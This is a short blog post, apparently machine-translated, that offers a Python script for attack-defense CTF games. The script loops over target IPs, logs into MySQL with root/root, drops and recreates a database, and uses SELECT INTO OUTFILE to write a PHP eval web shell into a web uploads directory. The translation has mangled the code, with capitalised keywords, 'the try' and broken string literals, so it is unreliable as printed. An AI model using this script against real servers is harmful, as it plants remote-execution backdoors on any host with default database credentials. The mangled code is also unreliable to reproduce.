AWD write batch script of mysql shell

The package script tool Abstract 

You need to install mysqldb. windwos environment directly https://www.codegood.com/archives/129 download MySQL-python-1.2.3.win-amd64- py2.7.exe installation.

 

 # Coding. 8 = UTF- 

 
Import MySQLdb 
 
DEF mysql_connect1 (IP, m_user, m_password, shell_url, shell_content): 
 
 
 
    # attempt database connected 
 
    the try : 
 
        Conn = MySQLdb.connect (= IP Host, User = m_user, the passwd = m_password, DB = '' , Port = 3306 )
         Print  " successful connection " 
 
        CUR = conn.cursor () 
 
        # If the database connection is successful, the horse began to write 
 
        the try : 
 
           # If there are duplicate database delete the database 
 
            cur.execute ( ' DROP IF EXISTS `A123456666` database ; ' ) 
 
            cur.execute ( ' Create Database A123456666;' ) 
 
        The except : 
 
            Print  " Create database error " 
 
            return 
 
        cur.execute ( ' use A123456666; ' ) 
 
        the try : 
            sql_shell = " the SELECT' {} 'INTO outfile' {} '; " .format (shell_content, shell_url) 
 
            cur.execute ( sql_shell) 
 
            Print  " pony successfully created " 
 
        the except : 
 
            Print  " pony creation failed " 
 
            return 
 
        cur.close () 
 
    the except MySQLdb.Error, E: 
 
        Print  " mysql_error:% D:% S " % (e.args[0], e.args[1])
 
        return
 
 
 
 
 
 
if __name__ == "__main__":
 
    fp_ip=open('ip.txt')
 
    shell_url = '/var/www/html/uploads/shell5.php'
    shell_content = '<?php eval($_POST[cmd]); ?>'
 
    user = "root"
    password = "root"
 
    for ip in fp_ip.readlines():
        fp4=ip.replace('\r" , " " ) .Replace ( ' \ n- ' , " " )
         # URL = STR (FP5) 
        Print FP4 + " Detection: " 
        mysql_connect1 (IP, User, password, shell_url, shell_content) 
 
    Print  ' detection end '
 

 

Guess you like

Origin www.cnblogs.com/-qing-/p/11084969.html